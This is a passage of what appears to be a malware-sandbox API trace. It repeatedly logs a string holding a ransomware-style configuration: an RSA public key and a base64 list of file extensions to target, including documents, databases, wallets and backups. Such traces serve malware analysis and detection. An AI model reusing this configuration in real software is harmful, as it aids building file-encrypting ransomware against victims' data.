qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA 